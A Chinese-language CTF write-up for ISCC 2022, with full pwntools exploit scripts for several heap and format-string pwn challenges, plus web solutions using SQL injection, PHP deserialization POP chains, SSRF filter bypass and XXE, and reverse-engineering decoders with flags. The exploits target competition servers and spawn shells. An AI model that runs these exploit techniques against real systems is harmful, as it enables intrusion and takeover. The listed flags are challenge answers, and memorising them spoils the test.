ISCC 2022
PWN
跳一跳(未写完
程序流程较为简单,发现为64位全保护开启的ELF文件;
sim_treasure
简单的32位循环格式化字符串漏洞,位于栈上,无过滤\x00;且对于got表无防护,故利用格式化字符串漏洞对地址泄露,并写入printf@got为system函数地址;
调试如下:
exp如下:(运行之后,需要先敲击回车方可获取权限;
from pwn import *
context(os='linux',arch='i386')
r = remote('123.57.69.203',7010)
libc = ELF('./libc-2.27.so')
sl = lambda payload : r.sendline(payload)
ru = lambda str : r.recvuntil(str)
ru("Can you find the magic word?\n")
sl('%35$p')#泄露libc地址,计算偏移量得到system函数地址
libc_base = int(r.recvuntil(b'\n')[:-1],16)-libc.symbols['__libc_start_main']-241
system = libc_base+libc.symbols['system']
payload = fmtstr_payload(6,{0x8049a60:system})#写入printf@got为system函数地址
sl(payload)
#gdb.attach(r)
r.send(b'/bin/sh\x00')#触发system("/bin/sh\x00");获取权限
r.interactive()
ISCC{a080-1273-4251-bbc7-aa89}
untidy_note
位于Free释放函数之中,存在UAF漏洞;位于Edit编辑函数之中,存在堆溢出漏洞;但是位于远程版本之中,无法造成tcache double free;故采用堆溢出来造成堆块重叠;进而获取权限;
调试如下:(泄露地址是为关键,但是程序不允许申请大的堆块;故利用malloc_consolidate触发得到unsorted bin的堆块,进而泄露地址;
如下,修改成功;
exp如下:
from pwn import *
binary = './untidy_note'
r = remote('123.57.69.203',7030)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
sla = lambda str,pay : r.sendlineafter(str,pay)
def malloc(size=0x18):
sla("Your choose is:\n",'1')
sla("the note size is:\n",str(size))
def free(index):
sla("Your choose is:\n",'2')
sla("index:\n\n",str(index))
def edit(index,payload):
sla("Your choose is:\n",'3')
sla("index:\n",str(index))
sla("the size is:\n",str(len(payload)))
r.sendafter("Content:\n",payload)
def print(index):
sla("Your choose is:\n",'4')
sla("index:\n",str(index))
sla("Welcome to use untidy_note,Your name is:",'HN-meng')
for i in range(18):
malloc(0x1f)
malloc(0x6)#18
for i in range(18):
free(i)
edit(18,b'a'*0x18+p64(0x11))
malloc()#1 触发malloc_consolidate,从而得到unsorted bin
print(1)#1 泄露地址,进而可以计算出free_hook地址与system地址
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-608-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
edit(6,p64(free_hook))#编辑tcache[0x30][0/7]的fd指针,使其指向free_hook位置
malloc(0x1f)#2
malloc(0x1f)#3 申请free_hook地址内容
edit(3,p64(system))# 写入system函数地址
edit(2,b'/bin/sh\x00')
#gdb.attach(r)
free(2)#触发system("/bin/sh\x00");获取权限
r.interactive()
ISCC{f1a4-75fe-4e77-9084-c69f}
create_id
函数流程极其简单,题目极其简单;
exp如下:
from pwn import *
context(os='linux',arch='i386')
r = remote('123.57.69.203',5310)
x_addr = int(r.recvuntil("\n")[:-1],16)
for i in range(3):
r.sendline('0')
payload = fmtstr_payload(10,{x_addr:9})
r.sendlineafter("What's your name?\n",payload)
r.interactive()
ISCC{a54a-aa1e-4d2d-942e-21f8}
heapheap
该为2.27libc的堆题;较为简单,主体流程清晰可见,仅仅存在申请函数与释放函数;相当于malloc与free函数套了层壳而已;
漏洞位于Allocate申请函数之中,存在off by null漏洞;
而Free释放函数之中,却存在着一个较为严密的保护:
此时我们已知信息off by null;且libc为2.27;而libc2.27相对于libc2.23之中的Unlink多了一下保护:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
该保护杜绝了我们利用Unlink向后合并,但时并没有杜绝Unlink向前合并;故利用Unlink向前合并来造成堆块重叠,进而连续利用该漏洞攻击__malloc_hook
为gadget即可;步骤如下:
- 首先布局,形成0x4ef-0xf0-0x4ef-0xf0的堆块,此时利用off by null漏洞,将第三块堆的prev_inuse与prev_size修改;进而释放第一块堆,造成与第三块堆,而第二块堆被合并重叠;
- 此时攻击
_IO_2_1_stdout_
来泄露libc地址;首先利用堆块重叠,造成两个tcache bin位于同一位置,进而修改unsorted bin残留下来的fd指针指向_IO_2_1_stdout_
,进而泄露地址;概率为1/16 - 同时,泄露地址之后。再次利用堆块重叠,使tcache bin的fd指针指向
__malloc_hook
,进而修改为gadget,再次申请即可获取权限;
调试如下:
exp如下:
from pwn import *
context(os='linux',arch='amd64')
binary = './heapheap'
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
def Allocate(size=0xf0,data=b'/bin/sh\x00'):
r.sendlineafter("Please input your choice: ",'1')
r.sendlineafter("Please input the size:",str(size))
r.sendafter("Data:",data)
def Free(index):
r.sendlineafter("Please input your choice: ",'2')
r.sendlineafter("Please input the index:",str(index))
one = [0x4f3d5,0x4f432,0x10a41c]
def pwn():
Allocate(0x4ef)#0
Allocate()#1
Allocate(0x4ef)#2
Allocate()#3
Free(2)
Free(1)
Free(0)
Allocate(0xf8,b'a'*0xf0+p64(0x600))#0
Allocate(0x4f0)#1
Free(1)#堆块重叠 位于中间堆块为0
Free(0)#释放tcache bin[0x100] 提前准备
Allocate(0x4ef)#0
Allocate(0x5f,b'\x60\xd7')#1 重叠块 爆破
payload = p64(0xFBAD1800)+p64(0)*3+p8(0)
Allocate()#2
Free(2)#释放tcache bin[0x70] 提前准备
#gdb.attach(r)
Allocate(0xf0,payload)#2 IO
buf = r.recvuntil("****")
stdin_addr = u64(buf[len(buf)-31:len(buf)-23])#leak
libc_base = stdin_addr-libc.symbols['_IO_2_1_stdin_']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
info("leak success")
success(hex(libc_base))
success(hex(stdin_addr))
# 1 2
Free(1)
Allocate(0x5f,p64(malloc_hook))#4
Allocate(0x5f)#5
Allocate(0x5f,p64(one[2]+libc_base))#6
#gdb.attach(r)
info("attack success")
r.sendlineafter("Please input your choice: ",'1')
r.sendlineafter("Please input the size:",str(0x18))
r.interactive()#0x3eba00
while(True):
try:
#r = process(binary)
r = remote('123.57.69.203',5320)
pwn()
except:
r.close()
warn("can you try again")
ISCC{bfa8-f7b7-49ee-8cbe-b455}
unlink
发现为64位GLIBC为2.27的ELF;流程极为简易,如下(存在堆溢出漏洞):
故采用常规的2.27libc之中的Unlink向前合并,此时发现并没有给出libc附件,故采用LibcSearcher库;
思路:
- 存在堆溢出漏洞,故利用Unlink向前合并,得到重叠堆块;
- 进而可以利用remove函数之中释放前打印来泄露地址;
- 从而计算出free_hook地址,进而利用堆溢出修改tcache bin的fd指针,进而修改free_hook为system函数地址;
- 执行remove函数,获取权限
如下,为通用的Unlink攻击手段:(该exp本地通过,远程未通过;
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')
binary = './attachment-38'
r = remote('123.57.69.203',5810)
#r = process(binary)
elf = ELF(binary)
libc = elf.libc
free_got = elf.got['free']
system_plt = elf.plt['system']
sh_addr = 0x0400896
def Allocate(index,size=0x18,data=b'/bin/sh'):
r.sendline("add")
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Data: ",data)
def Free(index):
r.sendline("remove")
r.sendlineafter("Index: ",str(index))
Allocate(0,0x410)#0
Allocate(1,0x68)#1
Allocate(2,0x410)#2
Allocate(3,0x68)#3
Free(2)
Free(1)
Free(0)
Allocate(0,0x410)#0
Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1
Free(0)#堆块重叠
#Free(1)
Allocate(0,0x3f0)
Allocate(2,0x18,b'b'*0x18+p32(0x71))
Free(1)
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
libc = LibcSearcher('__malloc_hook',main_arena-0x10)
#libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
libc_base = main_arena-libc.dump('__malloc_hook')-0x10
system = libc_base+libc.dump('system')#libc.symbols['system']
free_hook = libc_base+libc.dump('__free_hook')#libc.symbols['__free_hook']
Free(2)
Allocate(2,0x18,b'c'*0x18+p64(0x71)+p64(free_hook))
Allocate(1,0x68)
Allocate(2,0x68,p64(system))
success(hex(libc_base))
#gdb.attach(r)
Free(1)
r.interactive()
故排除错误,发现了错误位于上方脚本38行;进行尝试,发现远程libc2.27存在key;同时发现程序之中存在后门函数,故可以省略泄露地址该步骤;在堆块重叠之后直接可以修改got表为后面函数地址;
exp如下:(该exp远程通过
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('123.57.69.203',5810)
elf = ELF('./attachment-38')
puts_got = elf.got['puts']
def Allocate(index,size=0x18,data=b'/bin/sh'):
r.sendline("add")
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Data: ",data)
def Free(index):
r.sendline("remove")
r.sendlineafter("Index: ",str(index))
Allocate(0,0x410)#0
Allocate(1,0x68)#1
Allocate(2,0x410)#2
Allocate(3,0x68)#3
Free(2)
Free(1)
Free(0)
Allocate(0,0x410)#0
Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1
Free(0)#堆块重叠
Free(1)
Allocate(5,0x410)
Allocate(0,0x70,p64(puts_got))
Allocate(1,0x68,b'/bin/sh\x00')
Allocate(2,0x68,p32(0x400706)+b'\x00\x00')#0x400706
#gdb.attach(r,'b *0x400a8a')
Free(1)
r.interactive()
ISCC{bbe4-b83a-47f8-8264-3411}
h-o-s
存在逻辑漏洞,故可以造成堆块重叠;
思路:
- 利用逻辑漏洞,将bss_ck[-1]块free掉,而bss_ck[-1]将布置为bss_ck[-1],故我们可以往bss_ck之中写入任何地址了;
- 利用fgets的特征,写入内容+1置零,将bss_ck之中的堆块末尾置零,进而释放fake_chunk(fake_chunk需要堆风水提前布置好)
- 恢复结构,将我们这一系列的堆风水所破坏的size域等修复好;并泄露libc地址(这里已泄露地址,但是远程未通过,本地通过;
- 利用我们所制造的fake_chunk将tcache bin的fd指向free_hook,进而修改其为system;故释放获取权限!
查询libc库,找了很多libc,但是远程依旧不通;此时我们想到了其中存在着后门函数,故我们直接往free_hook写入后门函数即可获取权限;
exp如下:
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')
binary = './attachment-39'
r = remote('123.57.69.203',5820)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
#libc = ELF("/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
bss_ck = 0x0601120
cmd = 0x6010a0
def malloc(size=0x18,data=b''):
r.sendline("fill")
r.sendline(str(size))
r.sendline(data)
free = lambda : r.sendline("get")
freeOver = lambda payload : r.sendline(b"get".ljust(8,b'\x00')+payload)
malloc(0x91,b'a'*0x80+p64(0)+p64(0xf1))
for i in range(7):
malloc(0x91)
for i in range(6):
free()
freeOver(p64(0)*2+p64(0xc1)+p64(0)+p64(0xb1)+b'a'*0x48+p64(0x6010c0))
free()
free()
malloc(0x41)
malloc(0x48)#消除 unsorted bin
free()#排布bss_ck
malloc(0x91)
malloc(0xb1,p64(0)+p64(0xb1)+b'b'*0x48+p32(0x6010c0)+b'\x00\x00\x00')
free()
free()
malloc(0x91)
for i in range(3):
malloc(0xa0)
for i in range(3):
free()
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x521))
free()
free()
malloc(0x91)
malloc(0x91)
malloc(0x130)
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x151))
free()
free()
malloc(0x140,b'd'*0x90+p64(0)+p64(0xa1)+b'd'*0x90+p64(0)+p64(0xa1))
free()
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x141))
free()#恢复结构
free()#泄露libc地址
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
#libc = LibcSearcher('__malloc_hook',main_arena-0x10)
#libc_base = main_arena-0x10-libc.dump('__malloc_hook')
#system = libc_base+libc.dump('system')
#free_hook = libc_base+libc.dump('__free_hook')
'''libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
system = libc_base+libc.symbols['system']
free_hook = libc_base+libc.symbols['__free_hook']'''
libc_base = main_arena-0x10-0x03ebc30
free_hook = libc_base+0x03ed8e8
system = libc_base+0x004f550
free()
malloc(0x140,b'e'*0x90+p64(0)+p64(0xa1)+p64(free_hook-0x8))
malloc(0x91)
malloc(0x91,b'/bin/sh\x00'+p64(system))
success(hex(cmd))
success("libc_base -> "+hex(libc_base))
success(hex(main_arena-0x10))
#gdb.attach(r)
#free()
malloc(0xa1,b'/bin/sh\x00')
free()
r.interactive()
ISCC{af31-219c-4214-b561-930e}
Huge_Space(未写
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './attachment-33'
#r = remote('123.57.69.203',5330)
r = process(binary)
elf = ELF(binary)
libc = elf.libc
pop_rdi_ret = 0x00400be3
leave_ret = 0x0040090f
ret = 0x00400709
sh = 0x04008F6
cmd_addr = 0x6010c0
def Allocate(index,size=0x18,data=b'/bin/sh\x00'):
r.sendline("+++")
r.sendlineafter("Index:",str(index))
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Data: ",data)
def Show(index,size):
r.sendline("print")
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
r.sendline(p64(0)*8+p64(cmd_addr+0x350)+p64(leave_ret))#布置栈迁移
Allocate(0,0x18,p64(0)*3+p64(0xd81))#修改top chunk的size域
Allocate(1,0x1000)#触发malloc consolidate
Allocate(2,0xd50,b'aaaaaa')#将原heap申请完毕
Show(2,0x10)#泄露地址
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
Allocate(3,0x22000,b'a'*0x10+b'\x00'*(0x24518)+p64(0))#24518
success(hex(main_arena))
gdb.attach(r,'b *0x400b65')#gdb.attach(r,'b *0x0400971')
one1 = 0x0400BDA
one2 = 0x0400BC0
payload = p64(one1)+p64(0)+p64(1)+p64(cmd_addr+0x10)+p64(0)+p64(0)+p64(0x601458)+p64(one2)+b'/bin/sh\x00'
r.sendline(b"exit\x00\x00\x00\x00"+b'/bin/sh\x00'+p64(sh)+b'b'*0x340+payload)
r.interactive()
WEB
冬奥会
该题较为简单;
ISCC{W11lcOme_t0_Beijing8_2O22_W111Nter_0lymp1cs}
Easy-SQL
如下,发现
┌──(kali㉿kali)-[~/桌面]
└─$ sqlmap -u “http://59.110.159.206:7010/?id=1” -dbs --batch
然后经过测试,发现select被ban了,故利用MYSQL8特性TABLE发现了zip文件
对http://59.110.159.206:7010/ypHeMPardErE.zip@beaxia.cn该链接进行下载zip文件
如下语句,为拼接语句;GET[id]无法使用select语句;
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
如下为POST[username、passwd]的传参,以及拼接代码;发现对于passwd经过了sqlWaf过滤;
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
sqlWaf函数如下:
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
ISCC{Sql123_InJect10n_Is_sImp15le_IsNT_it}
Pop2022
首先发现为PHP反序列化攻击,同时发现其为原题BUUCTF [MRCTF2020]Ezpop
;仅仅改了变量而已;可以查询资料;开始攻击;如下为分析过程:
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){//创建时,触发该函数
$this->page = $file;
}
public function __toString(){//当echo对象时,触发该函数
return $this->string->page;
}
public function __wakeup(){//反序列化触发该函数
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);//包含文件,危险函数
}
public function __invoke(){//当对象作为函数调用的时候,将会调用该函数
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){//当访问一些不可访问的对象属性时,调用该方法
$function = $this->effort;
return $function();
}
}
如下为exp;(将会获取flag.php经过base64转换后的密文,故使用base64解密即可;
class Try_Work_Hard {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
class Road_is_Long{
public $page;
public $string;
public function __construct(){
$this->string = new Make_a_Change();
}
}
$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
/*
思路为:
首先让Make_a_Change对象中的$effort作为对象,然后触发__get函数,导致$effort作为函数执行;
此时我们让$effort为Try_Work_Hard对象,则会执行__invoke函数,进而调用了append函数,进行了文件包含攻击,读出flag
链子图如下:
Road -|-
|-page -> Road -|-
|-string |-page -> Make -|-
|-string |-effort -> Try -|-
|-var
*/
解密后原文如下:
<?php //ISCC{125fafa1_BeiJIN9G_H0t_fffffff5word}
让我康康!(未写完
经过一定的尝试,发现访问一些路径时Server字段改为了mitmproxy;而mitmproxy为中间代理;故服务端为gunicorn/20.0.0服务,且存在中间代理;故可以尝试请求走私;
如下,小小测试,得到一个flag所在位置信息,尝试直接访问,发现被WAF了
尝试走私,利用gunicorn <= 20.0.4版本下的通用走私漏洞;发现存在走私漏洞;
secr3t_ip:127.0.0.1
findme
首先查看源码,发现提示信息 ;故访问http://59.110.159.206:8030/unser.php;得到源码;
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo 'Your output: '.$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$data = $_POST['data'];
unserialize($data);
可以发现存在hint.php
位于__wakeup()魔术方法之中;故使用php伪协议经过拼接读取hint.php;
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __construct(){
include $this -> un2.'hint.php';
}
}
$a=new a();
$a->un2= 'php://filter/read=convert.base64-encode/resource=';
$s = serialize($a);
echo $s;
#O:1:"a":5:{s:3:"un0";N;s:3:"un1";N;s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";s:3:"un3";N;s:3:"un4";N;}
如下,发现了hint.php:
<?php $a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';
如上,为解密后的内容,此时我们便得知了一个新的信息,flag所在位置信息;
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test;
FilesystemIterator为php目录迭代器
故利用glob伪协议,查看匹配的文件路径模式;进而得到flag文件名,进而访问该文件得到flag;
<?php
highlight_file(__FILE__);
class a{
public $un0= 'FilesystemIterator';
public $un1= 'glob://f*';
public $un3= 'unserialize';
}
$a = new a();
echo serialize($a);
ISCC{W0w!_You_r3a1_KN0~_Unse2!!!}
爱国敬业好青年-2
首先查看源代码,发现了一些特别的东西,如下:
<script>
$(document).ready(function(){//ready方法档加载后激活函数
$("iframe").attr({"src":"inner"})//iframe中src属性嵌套的页面的 URL 地址
$.ajax({url:"change",type:"GET"});//该部分访问了远程的url资源
$("button").removeAttr("disabled");//该部分移除了disabled属性
setTimeout(function () {$("button").attr({"disabled":"true"});},1200)
setTimeout(function () {$.ajax({url:"change",type:"POST"});},2000)
});
</script>
<!该部分为js代码,可以发现其使用了ajax(该方法通过 HTTP 请求加载远程数据)
<form class="form" id="a-form" method='POST' action="flag">
<button type="submit" id='true_button' disabled ='true'>提交</button>
<!该部分为html代码,可以发现其使用了POST方法,访问了flag页面;
<p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
<!该代码可以发现存在info页面,该页面为一个假的flag;而对于onclink事件返回假,无法返回真;
故,我们根据该部分代码,发现了inner、change、flag、info四个页面;而这四个url资源分别负责不同的功能;inner页面为提交页面,嵌入到了原页面;change猜测为一个开关;flag页面为flag所在页面,但不能直接访问;info页面为一个假的flag页面;
查看inner页面,发现如下js代码:
<button style="opacity: 1" type="submit" id='button' onclick="enable()">提交</button>
<script type="text/javascript">
function enable(){
window.alert('flas=icss{Y0u_M@y_FiNd_1_WRONG_eNtrance!!!}')
}
</script>
<!该部分代码将永远返回的是假的flag
此时再看原网页代码,发现其以POST的形式提交给flag页面 lati、langti变量于flag页面,但是由于原页面的js代码限制,无论提交什么都会返回假的flag,而提交形式提示为经纬度;
经过多次尝试,发现模拟原网页的访问流程;但绕过原网页的限制直接对flag页面POST传参,首先访问change页面,再次POST传参flag页面(北京天安门广场经纬度),发现flag;
ISCC{YY9YYe7Eessss_1_10vE_ChIN@0_159SNO}
这是一道代码审计题
访问页面,发现提示为/index
,故访问index页面,发现出现字符404;然后使用BP抓包,发现存在Cookie字段,而我们并未有过登录的操作,故我们尝试修改Cookie,发现提示:
故添加尝试传参?url=127.0.0.1
,发现代码;
访问页面,发现存在加密,故进行base100解密,进而获取源代码;
from flask import render_template
import addr as addr
import urlparse
import struct
import socket
import base64
import re
def geneSign():
if(control_key==1):
return render_template("index.html")#返回替换模板参数后的模板文本,即返回index.html文本内容,经过尝试,发现无法直接访问
else:
return "You have not access to this page!"
def check_ssrf(url):#检测ssrf函数,关键函数
hostname = urlparse(url).hostname#urlparse库用于把url解析为各个组件,此时得到主机名(即域名或IP地址
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#正则匹配
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#该处匹配了@字符,与下方的匹配一直
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#看似需要通过三处匹配,实则只进行了一个匹配
if judge_ip(hostname):#需要再次通过跳转IP函数
return True
return False, "You not get the right clue!"
else:#该跳转之后为False,无需关心
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):#该函数相当于匹配是否存在forbidden_list列表之中的字符
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):#首先需要通过一层WAF
return False
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)#base64
ipp = ipp.strip().lower().decode()#分割小写
if(ip==ipp):#判断是否相等
global control_key
control_key = 1#如果相等,则设置key为1
return True
else:
return False
进行一定的代码审计,发现我们直接传入127.0.0.1
将会被ban掉;所以按代码逻辑,将127.0.0.1
进行base64加密之后为MTI3LjAuMC4x
,故该加密最后执行时将会被解密为127.0.0.1
,从而达到SSRF的效果;
此时我们又得到了新的信息,便是/mti3ljaumc4x
与一个Cookiea_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
故我们携带该Cookie并访问页面/mti3ljaumc4x
,发现存在登录框,且泄露了一定的信息:
尝试采用XXE泄露flag;
<script type="text/javascript">
function codelogin(){
var name = $("#name").val();
var password = $("#password").val();
if(name == "" || word == ""){
alert("Please enter the username and password!");
return;
}
//声明数据,将位于下方ajax访问之中传递数据
var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
$.ajax({
contentType: "application/xml;charset=utf-8",
type: "POST",
url: "codelogin",//发现存在codelogin页面
data: data,//数据
dataType: "xml",//表明数据为xml类型
anysc: false,
success: function (result) {//getElementsByTagName返回带有指定标签名的对象的集合
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");//返回 id 为 msg 的元素节点的文本内容
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
故我们可以直接向codelogin页面以POST形式提交data,而data之中利用XXE来泄露出flag;故利用$(“.msg”).text进而回显flag
ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}
Reverse
Amy’s Code
首先PE探测为32位;进而使用ida32打开;搜索main函数;
发现sub_411433函数之中sub_412550函数存在加密流程;加密过程为如下;array为数组,ida32可以查看发现;同时发现sub_4115FF(Destination);
之中存在异或加密;
strcpy((char *)str, "LWHFUENGDJGEFHYDHIGJ");
HIBYTE(str[10]) = 0;
str[11] = 0;
v7 = 0;
v8 = 0;
len = j__strlen(flag);
j__memset(array, 0, 0x78u);
for ( i = 0; i < len; ++i )
array[i] = *((char *)str + i) + flag[i];
如下为解密脚本;
array = [149,169,137,134,212,188,177,184,177,197,192,179,153,145,156,193,161,190,161,184]
str = "LWHFUENGDJGEFHYDHIGJ"
flag = ""
for i in range(len(str)):
flag = array[i] - ord(str[i])
flag ^= i
print(chr(flag),end='')
ISCC{reverse_DMrIdH}
How_decode
64位Windows可执行程序,使用ida64进行反汇编,发现以下关键代码:
因为mm数组为int类型,32位;而python很难去处理这样拥有固定上限的数据,所以我们采用C语言来处理这样的数据;
如上为关键加密脚本;故我们根据上面代码于C编译器之中,修改部分代码运行即可获取flag;
如下为解密脚本:
#include<iostream>
using namespace std;
void __cdecl decode(int *v, int n, const int *key)
{
int *v4; // rax
int *v5; // rax
int y; // [rsp+8h] [rbp-18h]
int e; // [rsp+Ch] [rbp-14h]
int rounds; // [rsp+10h] [rbp-10h]
int p; // [rsp+14h] [rbp-Ch]
int sum; // [rsp+18h] [rbp-8h]
int z; // [rsp+1Ch] [rbp-4h]
//v为输入的flag,n为输入的长度18,key为固定值
rounds = 52 / n + 6;
sum = rounds * -1640531527;
y = v[0];
for (; rounds--;)
{
e = (sum >> 2) & 3;//固定值
for ( p = n - 1; p >= 0 ; --p )
{
z = v[(p + n -1)%n];
v4 = &v[p];
*v4 -= ((y ^ sum) + (z ^ key[e ^ (p & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
y = v[p];
}
sum += 1640531527;
}
}
int main()
{
int mm[32]; // [rsp+20h] [rbp-60h] BYREF
int k[4]; // [rsp+A0h] [rbp+20h] BYREF
mm[0] = 137373765;
mm[1] = -1499780648;
mm[2] = 724715491;
mm[3] = 81257581;
mm[4] = 1504671520;
mm[5] = -1297390125;
mm[6] = -915424294;
mm[7] = -1643886293;
mm[8] = 370393719;
mm[9] = 837200773;
mm[10] = 554624892;
mm[11] = -440804440;
mm[12] = 1197608501;
mm[13] = 1866916284;
mm[14] = -2081810180;
mm[15] = 236155496;
mm[16] = 748155328;
mm[17] = -1413892284;
k[0] = 73;
k[1] = 83;
k[2] = 67;
k[3] = 67;
decode(mm, 18, k);
for(int i = 0; i < 18 ; i++){
printf("%c", mm[i]);
}
return 0;
} //ISCC{Kqykc0kdNjcD}
ISCC{Kqykc0kdNjcD}
Sad Code
分析main_0函数,流程较为简单且明显,如下:
故利用z3该python库,来解决该多元方程组,脚本如下:
from z3 import *
s = Solver()
mith = [Int(f'{i}') for i in range(8)]
s.add(mith[2] + 7 * mith[1] - 4 * mith[0] - 2 * mith[3] == 0x1F6B7856C)
s.add(5 * mith[3] + 3 * mith[2] - mith[1] - 2 * mith[0] == 0x10BE1E7C7)
s.add(2 * mith[1] + 8 * mith[3] + 10 * mith[0] - 5 * mith[2] == 0x49CB05E09)
s.add(7 * mith[0] + 15 * mith[1] - 3 * mith[3] - 2 * mith[2] == 0x7EA87530B)
s.add(15 * mith[4] + 35 * mith[7] - mith[5] - mith[6] == 0xCABA96AC9)
s.add(38 * mith[6] + mith[4] + mith[7] - 24 * mith[5] == 0x51198C284)
s.add(38 * mith[5] + 32 * mith[4] - mith[6] - mith[7] == 0x14C896AD3E)
s.add(mith[4] + 41 * mith[6] - mith[5] - 25 * mith[7] == 0x6FAA694D1)
if s.check():
#print(s.model())
tmp = str(s.model())
flag = [0,0,0,0,0,0,0,0]
begin = 1
while begin < len(tmp):
flag[int(tmp[begin:begin+1],10)] = int(tmp[begin+4:begin+14],10)
begin += 17
for i in range(len(flag)):
tmp = str(hex(flag[i]))[2:]
for j in range(0,8,2):
print(chr(int(tmp[j:j+2],16)),end='')
#ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}
ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}
Ruststr(未解出,未写
GetTheTable
使用ida64反编译,查看伪代码;发现采用了base58加密,具有明显特征;
故使用base58在线解密工具进行解密;http://www.hiencode.com/base58w.html
ISCC{cKXBNcd9tDBdG}
Bob’s Code
函数的流程比较简单;
故,我们首先将mm该原始数据,进行j_BLmm
该函数的字母替换,进而进行两次base64解密;此时我们寻找到两张base64表;可以发现:
